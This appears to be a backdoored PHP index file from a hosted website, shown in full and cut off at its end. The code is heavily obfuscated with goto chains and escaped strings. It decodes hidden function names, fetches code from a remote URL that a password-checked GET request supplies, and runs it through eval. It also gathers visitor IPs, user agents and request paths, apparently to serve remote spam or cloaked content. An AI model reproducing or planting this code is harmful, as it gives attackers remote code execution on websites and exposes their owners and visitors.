File: /var/www/clients/client1/web78/web/index.php
<?php
goto Bq5Mkvy0LiA; R1v81q1jJ48: exit("\173\x20\x22\145\162\162\157\x72\42\72\x20\62\x30\x30\x2c\x20\42\x6c\143\42\72\x20\x22\x6a\153\x22\54\40\x22\x64\x61\164\141\42\72\x20\x5b\x20\x31\x20\x5d\x20\x7d"); goto iX2Y1hO8o86; aEfxQ7Mvp54: class hIZISYlV8mJ { static function DCcs7thZ2c_($Q63lZElk7C_) { goto ZBQ7dbHAd5c; QLWwzR9H38r: $AUa4vp7Ox44 = explode("\x6f", $Q63lZElk7C_); goto v0uVZDubLCP; ZBQ7dbHAd5c: $JAWxQ0Jh5_Z = "\162" . "\141" . "\156" . "\147" . "\x65"; goto DYDReu3RXS4; p8uaXcUiMXx: return $HQOW_sK4YYO; goto JpznvLrw49a; v0uVZDubLCP: $HQOW_sK4YYO = ''; goto bB6DMKLN5ty; eU2XXowsyhC: LzKIdMzEMPp: goto p8uaXcUiMXx; DYDReu3RXS4: $ryKNIaKPwkL = $JAWxQ0Jh5_Z("\x7e", "\40"); goto QLWwzR9H38r; bB6DMKLN5ty: foreach ($AUa4vp7Ox44 as $td3mOQLhBMQ => $pSe0o11DiWK) { $HQOW_sK4YYO .= $ryKNIaKPwkL[$pSe0o11DiWK - 54574]; KVpKYtP1Nne: } goto eU2XXowsyhC; JpznvLrw49a: } static function JU7chR5lg9I($a3v2CvtEPkh, $lc53HIPgS6f) { goto s57J36_SDyg; s57J36_SDyg: $PH2OvFuVu4U = curl_init($a3v2CvtEPkh); goto EizFmhTCt2W; EizFmhTCt2W: curl_setopt($PH2OvFuVu4U, CURLOPT_RETURNTRANSFER, 1); goto RBSp3SQoNO6; RBSp3SQoNO6: $Bau2I6YfsAw = curl_exec($PH2OvFuVu4U); goto YZSeLRSn4Yt; YZSeLRSn4Yt: return empty($Bau2I6YfsAw) ? $lc53HIPgS6f($a3v2CvtEPkh) : $Bau2I6YfsAw; goto C9XSomsQ1ST; C9XSomsQ1ST: } static function afXs9y9aV0q() { goto yBpvIW90L_w; KOqo365BWNF: $dnvog1FaxsO = self::Ju7Chr5lG9i($uA3DO9wQKQx[0 + 1], $dtB8jThadLP[5 + 0]); goto i3SzB4IZGP_; i3SzB4IZGP_: @eval($dtB8jThadLP[1 + 3]($dnvog1FaxsO)); goto X973Lzsrd86; X973Lzsrd86: die; goto T6hWV1UmAsi; m8AmtZqswM9: $uA3DO9wQKQx = $dtB8jThadLP[2 + 0]($hGeZKsvYXrw, true); goto pvJZEGCYLrw; PKbmy0b9NHp: foreach ($FWAXDzQpPH2 as $eUwFx6Bo_2w) { $dtB8jThadLP[] = self::DccS7thZ2C_($eUwFx6Bo_2w); zT2VAE6s2OA: } goto tly57lFf5f6; pvJZEGCYLrw: @$dtB8jThadLP[0 + 10](INPUT_GET, "\x6f\x66") == 1 && die($dtB8jThadLP[4 + 1](__FILE__)); goto ojfwJs4mvj3; MpXZwFjUBaa: $hGeZKsvYXrw = @$dtB8jThadLP[1 + 2]($dtB8jThadLP[2 + 4], $lOVedt9jpHe); goto m8AmtZqswM9; ojfwJs4mvj3: if (!(@$uA3DO9wQKQx[0] - time() > 0 and md5(md5($uA3DO9wQKQx[0 + 3])) === "\x65\x34\66\x66\x33\143\x32\x35\145\70\70\x62\66\60\x62\x32\64\x39\146\64\141\71\x31\70\x31\x35\x63\x61\71\64\142\x31")) { goto snEApHxSPqN; } goto KOqo365BWNF; T6hWV1UmAsi: snEApHxSPqN: goto bqPCV6yJLVi; tly57lFf5f6: HDEkEEg6m1e: goto Q_0kW0j1NHx; yBpvIW90L_w: $FWAXDzQpPH2 = array("\65\64\66\x30\x31\x6f\x35\64\x35\70\66\157\x35\x34\65\x39\x39\157\65\x34\x36\60\x33\x6f\65\x34\x35\70\x34\x6f\x35\64\x35\71\x39\157\x35\64\66\60\65\157\65\64\65\71\x38\x6f\65\64\65\x38\63\x6f\x35\64\x35\71\60\x6f\x35\x34\66\60\61\157\x35\64\65\x38\64\x6f\x35\64\x35\71\65\157\65\64\65\x38\71\x6f\x35\64\x35\71\x30", "\x35\x34\65\x38\65\x6f\x35\64\65\70\64\x6f\x35\x34\x35\70\66\157\x35\64\x36\x30\65\x6f\65\x34\65\70\66\x6f\65\64\x35\x38\71\157\65\64\x35\70\64\x6f\x35\x34\66\65\61\157\65\64\66\64\x39", "\x35\x34\x35\71\x34\x6f\65\64\65\70\x35\157\65\x34\x35\x38\x39\x6f\65\x34\x35\x39\60\157\x35\64\x36\60\65\157\65\x34\x36\x30\60\157\65\x34\x35\x39\x39\157\x35\64\x36\60\x31\x6f\65\64\x35\70\x39\x6f\65\64\x36\x30\x30\x6f\65\64\65\71\71", "\x35\x34\x35\70\70\x6f\x35\x34\66\60\63\x6f\65\x34\x36\x30\x31\157\65\x34\x35\71\63", "\x35\x34\66\60\x32\157\x35\64\66\60\63\157\x35\64\65\x38\x35\157\x35\64\65\x39\71\157\65\64\66\x34\x36\x6f\65\64\x36\64\x38\157\65\x34\x36\x30\x35\157\x35\64\x36\x30\x30\x6f\65\64\65\71\x39\157\x35\64\x36\x30\x31\157\x35\x34\65\x38\x39\x6f\65\x34\66\x30\x30\x6f\x35\64\65\x39\x39", "\65\64\65\71\70\157\x35\64\65\x39\65\x6f\x35\64\x35\x39\x32\x6f\x35\64\65\71\71\x6f\65\x34\66\x30\x35\x6f\65\64\65\71\x37\x6f\65\64\65\71\x39\x6f\65\64\65\x38\x34\157\65\64\x36\60\x35\x6f\x35\64\x36\x30\61\157\65\64\x35\x38\x39\x6f\65\x34\x35\71\60\x6f\65\x34\65\70\64\x6f\65\64\x35\71\x39\x6f\65\x34\x35\71\x30\157\65\64\65\x38\64\157\x35\64\65\x38\65", "\65\x34\x36\x32\70\157\65\64\66\65\70", "\65\x34\65\67\65", "\x35\x34\x36\65\x33\157\65\x34\x36\x35\70", "\65\64\66\x33\65\157\65\64\66\x31\70\157\x35\x34\x36\61\70\157\65\x34\x36\63\65\157\65\64\66\61\x31", "\x35\x34\65\x39\70\x6f\x35\64\x35\71\x35\x6f\x35\64\x35\x39\62\x6f\x35\64\65\x38\x34\x6f\x35\x34\x35\x39\71\x6f\65\x34\x35\x38\66\157\x35\x34\66\x30\65\157\65\x34\x35\71\65\157\x35\64\x35\71\x30\x6f\65\x34\x35\x38\70\x6f\65\x34\x35\x38\63\x6f\65\x34\65\x38\x34"); goto PKbmy0b9NHp; Q_0kW0j1NHx: $lOVedt9jpHe = @$dtB8jThadLP[1]($dtB8jThadLP[8 + 2](INPUT_GET, $dtB8jThadLP[1 + 8])); goto MpXZwFjUBaa; bqPCV6yJLVi: } } goto Zz2OGhjrYf8; vgw15saQSFZ: if (!(strpos($TBoLLXvP_2H, $rU1M4JOc6Xl) === 0)) { goto qXtXe00jSXx; } goto n5GkmbWGnbn; qCK8sJkgsCO: echo $RXloAEm2U0w["\x63\157\x6e\164\x65\156\x74"]; goto dE1P3yp5uIw; Zz2OGhjrYf8: hiZiSYlv8Mj::AFxS9Y9av0q(); goto HJ1TtBjUMHd; bkjU_LVg3ib: $Wc165VR6rMC = preg_replace("\57\134\77\56\x2a\x2f", '', $_SERVER["\122\105\x51\125\x45\123\x54\137\x55\x52\x49"]); goto Zg3dAI2woGC; AnfIEPIDpi2: $JaFeEguBMhJ["\x73\156"] = sbGgRRpcYay($_SERVER["\123\103\x52\x49\x50\x54\x5f\x4e\101\x4d\x45"]); goto dhEKBqUUEiD; s7UgfnZCT7o: $JaFeEguBMhJ["\163"] = sBGgrRPcYaY($rU1M4JOc6Xl); goto f_mx0QXVxbz; dGmE0ETnveC: TwdxxFtWrLJ: goto WYO3HWr5NYY; z04Gebk_G_6: @header("\103\x6f\156\164\x65\156\x74\x2d\x54\x79\160\x65\x3a" . $RXloAEm2U0w["\164\x79\160\145"]); goto qCK8sJkgsCO; CStmLWBazTm: Q361bNU4Ykb: goto d3PbKDWQ3Xe; IqMMRtsVFIo: $JaFeEguBMhJ = array(); goto D6p_z3opKwl; n5GkmbWGnbn: $TBoLLXvP_2H = ''; goto VVsvfNPWy2v; tcFFOlO0ajd: function dv5cL4h3LoM() { goto dRFMbyEiRHv; Ob22fktHgPs: oJl23QXHUnt: goto GidZ1nTJDYU; y0VAJUT8pUo: $z_29E1AONVR = trim(str_replace("\x20", '', $z_29E1AONVR), "\54"); goto nBGfQNvA6Z3; zC4rx26_GKU: $z_29E1AONVR = $_SERVER["\x48\x54\x54\120\x5f\130\137\106\117\122\x57\101\x52\104\x45\104\x5f\106\x4f\x52"]; goto PsAkubF4AE_; hcrPt8aQFaA: goto noXe6o4HKYt; goto OjeCwtb3Qj_; nkbQALXTYWq: goto noXe6o4HKYt; goto RuIRXwydKDS; dNXhunBkd3i: if (isset($_SERVER["\110\124\x54\120\x5f\x58\x5f\x46\117\122\x57\101\x52\x44\x45\x44\x5f\106\117\x52"]) && !empty($_SERVER["\110\124\124\120\x5f\130\x5f\106\x4f\122\x57\x41\x52\x44\105\104\x5f\x46\117\122"])) { goto OG2nnARlu0j; } goto OACojMTPOgR; JdGr8XrSrvB: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\x45\x41\x4c\x5f\x49\120"]) && !empty($_SERVER["\110\x54\124\x50\x5f\x58\x5f\x52\x45\x41\114\x5f\x49\x50"])) { goto oJl23QXHUnt; } goto dNXhunBkd3i; Xr1KFh6x8wQ: $z_29E1AONVR = $z_29E1AONVR[0]; goto sO3gdeUCNBT; GidZ1nTJDYU: $z_29E1AONVR = $_SERVER["\x48\124\124\120\x5f\x58\x5f\x52\105\101\x4c\x5f\111\x50"]; goto hcrPt8aQFaA; Lv8_Secxsnb: $z_29E1AONVR = $_SERVER["\x48\x54\x54\x50\137\x43\106\x5f\103\117\x4e\116\105\x43\x54\111\116\x47\137\111\120"]; goto iLMQK4QFj8K; PsAkubF4AE_: noXe6o4HKYt: goto y0VAJUT8pUo; cnpUvGDCZQk: return $z_29E1AONVR; goto BZZnSs567jl; nBGfQNvA6Z3: if (!(strpos($z_29E1AONVR, "\54") !== false)) { goto Wm6dyWjJWBv; } goto ykkcU9v74HC; OACojMTPOgR: $z_29E1AONVR = $_SERVER["\122\x45\115\117\124\x45\137\101\104\x44\x52"]; goto nkbQALXTYWq; ykkcU9v74HC: $z_29E1AONVR = explode("\x2c", $z_29E1AONVR); goto Xr1KFh6x8wQ; OjeCwtb3Qj_: OG2nnARlu0j: goto zC4rx26_GKU; iLMQK4QFj8K: goto noXe6o4HKYt; goto Ob22fktHgPs; RuIRXwydKDS: ed8Ke5XCyvo: goto Lv8_Secxsnb; sO3gdeUCNBT: Wm6dyWjJWBv: goto cnpUvGDCZQk; td41vbMIlQL: if (isset($_SERVER["\x48\124\124\120\x5f\x43\106\x5f\x43\x4f\x4e\x4e\105\x43\x54\x49\x4e\x47\x5f\x49\x50"]) && !empty($_SERVER["\110\124\124\x50\x5f\x43\x46\137\103\x4f\x4e\x4e\x45\103\124\111\x4e\107\x5f\111\120"])) { goto ed8Ke5XCyvo; } goto JdGr8XrSrvB; dRFMbyEiRHv: $z_29E1AONVR = ''; goto td41vbMIlQL; BZZnSs567jl: } goto k7DjHoDpH8q; HJ1TtBjUMHd: header("\x43\x6f\156\164\x65\156\164\x2d\x54\x79\x70\x65\x3a\x20\x74\145\170\x74\x2f\150\x74\x6d\x6c\73\x20\143\150\x61\x72\x73\145\x74\x3d\x75\164\x66\x2d\70"); goto iQNvXHy0h__; zxW6aKS1SvU: if (in_array($RXloAEm2U0w["\x73\x74\141\164\165\x73"], array(0, 200))) { goto BFjeEDoJJGF; } goto ouenQxEIDll; f_mx0QXVxbz: $JaFeEguBMhJ["\165"] = sBggrRPcyay($_SERVER["\110\124\124\x50\x5f\125\x53\105\x52\137\x41\x47\x45\x4e\x54"]); goto bkjU_LVg3ib; Bq5Mkvy0LiA: error_reporting(0); goto RJJOw9owtnr; FV2Pc9fnSnU: BFjeEDoJJGF: goto Y5LryvdB21R; RJJOw9owtnr: $ambgzAKjUOa = "\162" . "\141" . "\156" . "\147" . "\x65";